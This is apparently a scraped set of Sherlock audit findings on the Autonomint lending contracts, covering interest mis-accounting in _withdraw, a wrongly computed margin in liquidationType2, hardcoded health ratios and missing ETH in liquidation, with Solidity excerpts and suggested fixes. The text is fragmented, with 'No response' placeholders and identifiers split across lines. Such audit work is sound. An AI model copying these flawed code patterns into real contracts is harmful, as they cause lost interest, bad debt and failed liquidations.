No response
No response
The interest calculation relies on the timeInterval
, which is the difference between the current time and lastEventTime
. In the _withdraw
function, lastEventTime
is updated to block.timestamp
before the interest is calculated, resulting in no actual update to the interest.
As a result, each time the _withdraw
function is called, the interest for the period (current time - lastEventTime
before the function call) is not properly accounted for.
The interest is not being updated correctly in the _withdraw
function, causing the interest for that time interval to be missed for all users.
No response
The protocol should ensure that calculateCumulativeRate
is updated before lastEventTime
is set to block.timestamp
, allowing the interest to be calculated accurately.
sUSD
is used to open a short position in synthetixSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/1007
Audinarey, John44, pashap9990, valuevalk
per [OP sUSD](https://optimistic.etherscan.io/token/0x8c6f28f2f1a3c87f0f938b96d27520d9751ec8d9#readContract) contract, the
sUSD` has 18 decimals
In the liquidationType2()
the amount
variable is the amount of ETH used in the transaction to mint sETH and then exchanged to sUSD
File: borrowLiquidation.sol 349: // Exchange sETH with sUSD 350: synthetix.exchange( 351: 0x7345544800000000000000000000000000000000000000000000000000000000, 352: amount, 353: 0x7355534400000000000000000000000000000000000000000000000000000000 354: ); 355: 356: // Calculate the margin 357: int256 margin = int256((amount * currentEthPrice) / 100); 358: // Transfer the margin to synthetix 359: synthetixPerpsV2.transferMargin(margin); 360: 361: // Submit an offchain delayed order in synthetix for short position with 1X leverage 362: synthetixPerpsV2.submitOffchainDelayedOrder( 363: -int((uint(margin * 1 ether * 1e16) / currentEthPrice)), 364: currentEthPrice * 1e16 365: );
The problem is that, the margin
is suppose to be evaluated using the sUSD
amount not the value of the amount of the original ETH asset.
No response
No response
No response
No response
This can lead to unpredictable results during the liquidation including a DOS since the evaluated margin may be more that the actual amount od sUSD
exchanged previously
No response
Consider using the amount of sUSD
received after exchanging sETH to sUSD
Source: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/1031
John44
The current LTV of the protocol is 80% and is intended to increase as much as possible once the protocol matures (as stated in the docs). The issue is that the health ratio of borrow positions is hardcoded in several places causing issues once the LTV is actually updated.
In BorrowLib and in borrowLiquidation the health ratio of a position is hardcoded to 8000 = 80%. This is because the initial LTV of a deposit will be 80%. The health ratio is used to make sure that a withdrawer cannot withdraw their collateral if they are eligible for liquidation and more importantly to determine whether a borrower can be liquidated. The issue is that the LTV is intended to grow, therefore if the LTV grows for example to 90%, a hardcoded health ratio of only 80% will be insufficient.
https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/lib/BorrowLib.sol#L501
https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/lib/BorrowLib.sol#L822
https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/borrowLiquidation.sol#L191
https://github.com/sherlock-audit/2024-11-autonomint/blob/0d324e04d4c0ca306e1ae4d4c65f0cb9d681751b/Blockchain/Blockchian/contracts/Core_logic/borrowLiquidation.sol#L336
No response
No response
Once the LTV is increased, the health ratio will remain the same, causing debt positions to not be liquidatable even when they are insolvent, accruing bad debt to the protocol.
No response
The health ratio should be modifiable in order to account for the increasing LTV.
liquidationType2
will self DOS due to lack of ETHSource: https://github.com/sherlock-audit/2024-11-autonomint-judging/issues/1056
0x23r0, 0x37, DenTonylifer, Galturok, John44, LordAlive, ParthMandale, futureHack, nuthan2x, santiellena, valuevalk
ETH is not pulled from the treasury to turn into sUSD.
Although it's in a payable function, the ETH is inside the treasury contract and admin doesn't have access directly to take ETH out and send via msg.value
, it has to be pulled internally from treasury when calling liquidation
lack of ETH movement from treasury into borrowLiquidation contract. So, borrowLiquidation.liquidationType2 will fail.
No response
No response
When liquidating type 2, the Eth in value is turned into WETH, and then ot is turned into sETH from synthetix.
Then the sETH is turned into sUSD and this amount is used to liquidate.
But the issue is liquidationType2
on BorrowLiqudiation
contract lacks the ETH in it. Although its in a payable function, the ETH is inside the treasury contract and admin doesn't have access directly to take ETH out and send via msg.value
, it has to be pulled from treasury and continue the steps to swap into sUSD
.
borrowLiquidation.liquidationType2
function liquidationType2( address user, uint64 index, uint64 currentEthPrice ) internal { ////////////////////////////////////// ///////////////////////////////////// uint256 amount = BorrowLib.calculateHalfValue(depositDetail.depositedAmountInETH); // Convert the ETH into WETH @> weth.deposit{value: amount}(); // Approve it, to mint sETH bool approved = weth.approve(address(wrapper), amount); if (!approved) revert BorrowLiq_ApproveFailed(); // Mint sETH wrapper.mint(amount); // Exchange sETH with sUSD synthetix.exchange( 0x7345544800000000000000000000000000000000000000000000000000000000, amount, 0x7355534400000000000000000000000000000000000000000000000000000000 ); // Calculate the margin int256 margin = int256((amount * currentEthPrice) / 100); // Transfer the margin to synthetix synthetixPerpsV2.transferMargin(margin); // Submit an offchain delayed order in synthetix for short position with 1X leverage synthetixPerpsV2.submitOffchainDelayedOrder( -int((uint(margin * 1 ether * 1e16) / currentEthPrice)), currentEthPrice * 1e16 ); }
liquidationType2
is DOS, broken functionality
No response
move ETH from the treasury to BorrowLiquidation